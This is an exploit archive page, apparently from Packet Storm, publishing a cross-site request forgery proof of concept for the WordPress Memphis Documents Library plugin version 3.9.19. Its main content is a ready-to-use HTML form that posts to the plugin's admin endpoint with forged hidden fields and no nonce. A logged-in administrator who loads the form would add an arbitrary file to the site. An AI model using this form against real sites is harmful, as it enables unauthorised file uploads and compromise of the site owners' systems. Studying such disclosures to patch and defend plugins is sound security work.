exploit the possibilities

WordPress Memphis Documents Library 3.9.19 Cross Site Request Forgery

WordPress Memphis Documents Library 3.9.19 Cross Site Request Forgery
Posted May 22, 2019
Authored by Mr Winst0n

WordPress Memphis Documents Library plugin version 3.9.19 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 8eb5cfcb4bd543d3bca72edeb4ef69ea

WordPress Memphis Documents Library 3.9.19 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: WordPress Plugin Memphis Documents Library 3.9.19 - Cross Site Request Forgery (Arbitrary File Add)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: May 22, 2019
# Software Link : https://wordpress.org/plugins/memphis-documents-library/
# Tested Version: 3.9.19
# Tested on: Parrot OS, Wordpress 5.1.1


# PoC:

<form class="form-horizontal" enctype="multipart/form-data" action="http://localhost/[PATH]/wp-admin/admin.php?page=memphis-documents.php&mdocs-cat=&mdocs-cat=mdocuments" method="POST" id="mdocs-add-update-form">
<input type="hidden" name="mdocs-current-user" value="phpmyadmin">
<input type="hidden" name="mdocs-type" value="mdocs-add">
<input type="hidden" name="mdocs-index" value="">
<input type="hidden" name="mdocs-cat" value="">
<input type="hidden" name="mdocs-pname" value="">
<!--<input type="hidden" name="mdocs-nonce" value="" />-->
<input type="hidden" name="mdocs-post-status-sys" value="">
<input type="hidden" name="mdocs-permalink" value="admin.php?page=memphis-documents.php&mdocs-cat=">
<input type="hidden" name="mdocs-is-admin" value="1">
<div class="well well-lg">
<div class="page-header">
<h2>File Properties</h2>
</div>
<div class="form-group form-group-lg has-success">
<label class="col-sm-2 control-label" for="mdocs-name">Name</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-name" id="mdocs-name">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs">File Uploader</label>
<div class="col-sm-10">
<input class="form-control" type="file" name="mdocs">
<p class="help-block" id="mdocs-current-doc"></p>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-folder">Folder</label>
<div class="col-sm-10">
<select class="form-control" name="mdocs-cat">
<option value="mdocuments" selected="selected">Documents</option> </select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-version">Version</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-version" value="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-date">Date</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-last-modified" value="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-file status">File Status</label>
<div class="col-sm-10">
<select class="form-control input-lg" name="mdocs-file-status" id="mdocs-file-status">
<option value="public">Public - [ Everyone can view this file ]</option>
<option value="hidden">Private - [ Only you can view this file ]</option>
</select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-post status">Post Status</label>
<div class="col-sm-10">
<select class="form-control input-lg" name="mdocs-post-status" id="mdocs-post-status">
<option value="publish">Published</option>
<option value="private">Private</option>
<option value="pending">Pending Review</option>
<option value="draft">Draft</option>
</select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-show social apps">Show Social Apps</label>
<div class="col-sm-10">
<input class="form-control" type="checkbox" name="mdocs-social" checked="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-downloadable by non members">Downloadable By Non Members</label>
<div class="col-sm-10">
<input class="form-control" type="checkbox" name="mdocs-non-members" checked="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-contributors">Contributors</label>
<div class="col-sm-10">
<div class="mdocs-add-contributor-container" data-contributor-type="add-update">
<div class="mdocs-contributors-container">
<button type="button" class="btn btn-primary" id="mdocs-current-owner"><i class="fa fa-user" aria-hidden="true"></i> phpmyadmin</button>
<input type="hidden" value="phpmyadmin" id="mdocs-owner-value"></div>
<input autocomplete="off" class="form-control mdocs-add-contributors" type="text" name="mdocs-add-contributors" placeholder="Add contributor, users and roles types are allowed.">
<div class="mdocs-user-search-list hidden"></div>
</div>
</div>
</div>
<input type="hidden" name="mdocs-real-author" value="">
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-tags">Tags</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-tags" id="mdocs-tags" placeholder="Comma Separated List">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-categories">Categories</label>
<div class="col-sm-10">
<select multiple="" class="form-control" name="mdocs-categories[]" id="mdocs-post-categories">
<option value="Uncategorized">Uncategorized</option> </select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-description">Description</label>
<div class="col-sm-10">
<div id="wp-mdocs-desc-wrap" class="wp-core-ui wp-editor-wrap tmce-active"><link rel="stylesheet" id="dashicons-css" href="http://localhost/lab/wordpress/wp-includes/css/dashicons.min.css?ver=5.1.1" type="text/css" media="all">
<link rel="stylesheet" id="editor-buttons-css" href="http://localhost/lab/wordpress/wp-includes/css/editor.min.css?ver=5.1.1" type="text/css" media="all">
<style>display: none;</style>
<div id="wp-mdocs-desc-editor-tools" class="wp-editor-tools hide-if-no-js"><div class="wp-editor-tabs"><button type="button" id="mdocs-desc-tmce" class="wp-switch-editor switch-tmce" data-wp-editor-id="mdocs-desc">Visual</button>
<button type="button" id="mdocs-desc-html" class="wp-switch-editor switch-html" data-wp-editor-id="mdocs-desc">Text</button>
</div>
</div>

</div>
</div>
</div>
<input type="submit" class="btn btn-primary" id="mdocs-save-doc-btn" value="Add Document">
</form>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    11 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    2 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    19 Files
  • 21
    Aug 21st
    17 Files
  • 22
    Aug 22nd
    9 Files
  • 23
    Aug 23rd
    3 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close